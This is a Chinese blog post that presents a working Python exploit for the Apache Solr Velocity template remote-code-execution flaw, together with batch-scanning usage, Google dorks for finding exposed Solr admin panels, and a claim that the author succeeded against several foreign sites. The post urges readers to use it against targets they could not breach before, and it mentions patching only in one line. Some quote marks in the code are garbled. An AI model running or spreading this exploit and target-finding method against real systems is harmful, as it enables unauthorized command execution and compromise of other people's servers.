Apache Solr最新RCE批量验证

关于漏洞详情,见Freebuf文章:

https://www.freebuf.com/vuls/218730.html

批量利用

https://github.com/k8gege/SolrExp

SolrExp

Apache Solr <= 8.2.0 0day漏洞(速度)

用法

别名:python exp.py url cmd

或Cscan url

批量C段:Cscan 192.168.1.8/24

批量URL:Cscan(同目录放url.txt)

CSscan下载地址: https://github.com/k8gege/K8CScan

EXP来源: Github&k8gege,喜欢记得点个star!

Github上的下载回来如果运行报错,可以用下 下面的这个

脚本修改,支持python3:

import requests
import json
import sys
# C:UsersnullDesktopSolr0day>python exp.py http://192.168.1.26:8983 whoami
# Apache Solr Template 0day Exploit by k8gege
# Upconfig: http://192.168.1.26:8983/solr/k8/config
# ExecCmd: 0 win-4udh62v7dmnnull

def getname(url):
url += "/solr/admin/cores?wt=json&indexInfo=false"
conn = requests.request("GET", url=url)
name = "test"
try:
name = list(json.loads(conn.text)["status"])[0]
except:
pass
return name


def upconfig(url, name):

url += "/solr/"+name+"/config"
print ("Upconfig: ", url)
headers = {"Content-Type": "application/json"}
post_data = """
{
"
update-queryresponsewriter": {
"
startup": "lazy",
"
name": "velocity",
"
class": "solr.VelocityResponseWriter",
"template.base.dir": "",
"solr.resource.loader.enabled": "true",
"params.resource.loader.enabled": "true"
}
}
"""
conn = requests.request("
POST", url, data=post_data, headers=headers)
if conn.status_code != 200:
print ("
Upconfig error: ", conn.status_code)
sys.exit(1)


def poc(url,cmd):
core_name = getname(url)
upconfig(url, core_name)
url += "
/solr/"+core_name+"/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27"+cmd+"%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end"
conn = requests.request("
GET", url)
print ("
ExecCmd: "+conn.text)


if __name__ == '__main__':
print "
Apache Solr Template 0day Exploit by k8gege"
url = sys.argv[1]
cmd = sys.argv[2]
poc(url,cmd)

其实就是在print后面加了()

如何验证

Google语法:

intitle:"Solr Admin" "Solr Query Syntax"

intitle:"Solr Admin" "Core Admin" "Thread Dump"

上Google随便找了几个国外的站点,均可成功,可以自己去验证下

或者其他空间搜索引擎[fofa,zoomeye,shodan]均可,利用title或者端口的语法去搜索

之前干不下的项目,如果存在该漏洞,可以去秒他了,祝好运

希望部署了该项目的公司可以自查下,尽快修复或者临时关闭对外开放

工具参考来源:Github/K8gege

漏洞验证文章参考来源:Freebuf

本文作者:HACK_Learn

我来评几句
登录后评论

已发表评论数()

相关站点

+订阅
热门文章